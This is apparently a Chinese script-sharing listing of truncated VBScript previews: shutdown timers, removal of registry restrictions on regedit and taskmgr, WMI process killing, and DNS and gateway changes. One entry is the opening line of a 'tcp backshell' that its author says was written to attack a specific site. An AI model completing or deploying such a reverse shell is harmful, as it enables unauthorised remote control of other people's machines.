2020-02-16 标签:写的,定时,关机,重启,vbs,脚本,dim,actionid,注销,actiontime,2006,13,42,30,时间,function

dim ActionID ActionID = 1'0注销，1关机，2重启, ActionTime = "2006-1-4 13:42:30"'关机或重启时间 function ShutDown()dim objShellSet objShell = WScript.CreateObject("Ws

2020-02-16 标签:vbs,实现,解除,注册表,cmd,regedit,taskmgr,限制,脚本,代码,error,resume,next,set,wshshell,wscript,shell,regdelete,hkcu

On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") With WScript.CreateObject("WScript.Shell") .RegDelete"HKCU\Software\Microsoft\

2020-02-16 标签:vbs,实现,注册表,开关,脚本,dim,wshshell,r,m,v,t,g,i,error,resume,next,set,wscript,shell

Dim WSHShell,r,M,v,t,g,i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKCU\Software\Microsoft\Windows\CurrentVersion\ Po

2020-02-16 标签:禁止,qq,上网,vbs,脚本,代码,dim,bag,pipe,honker,good,set,getobject,winmgmts,root,cimv,execquery,select,win

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process w

2020-02-16 标签:vbs,代替,bat,cmd,文件,进行,命令,自动,导入,注册表,检测,error,resume,next,dim,msg,fso,shell,set

自动导入注册表的，带检测： On Error Resume Next dim msg,fso,shell Set fso = Wscript.createｏｂｊｅｃｔ("scripting.filesystemｏｂｊｅｃｔ") set wshshell = wscript.CreateObject(

2020-02-16 标签:vbs,操作,注册表,实例,代码,打开,关闭,cmd,dim,wshshell,r,m,v,t,g,i,error,resume,next,set

打开或关闭CMD：Dim WSHShell, r, m, v, t, g Dim i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKEY_CURRENT_USER\Software\Polic

2020-02-16 标签:vbs,查找,硬盘,分区,指定,程序,代码,error,resume,next,忽略,错误,dim,filename,声明,变量,re,set,new,regexp

On Error Resume Next '忽略所有错误 Dim filename '声明变量 Dim re Set re=New RegExp '建立正则表达式对象实例 re.Pattern="^([a-z]|[A-Z])+\:\\\w+\.vbs$" If re.Test(WScript.Scr

2020-02-16 标签:vbs,实现,doc,转为,文本文档,代码,打开,记事本,输入,如下,error,resume,next,set,args,wscript,arguments,arg,w

打开记事本输入：实现代码如下：ON ERROR RESUME NEXTset args=wscript.argumentsarg=args(0)set w=createobject("word.application")set fso=createobject("scripting.filesyst

2020-02-16 标签:tcp,backshell,vbs,脚本,代码,特殊,准备,用的,没想到,写完,补上,郁闷,009,baicker,hotmail,com

'搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷 'by 009, baicker@hotmail.com 'date:071221 Dim revdata set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )

2020-02-16 标签:vbs,实现,修改,dns,网关,脚本,代码,如下,const,t,gateway,newdns,strwinmgmt,winmgmts,impersonate,set

实现代码如下：Const T_GATEWAY = "1.1.1.1" '网关 Const T_NEWDNS1 = "2.2.2.2" 'DNS1 Const T_NEWDNS2 = "3.3.3.3" 'DNS2 strWinMgmt="winmgmts:{impersonationLevel=im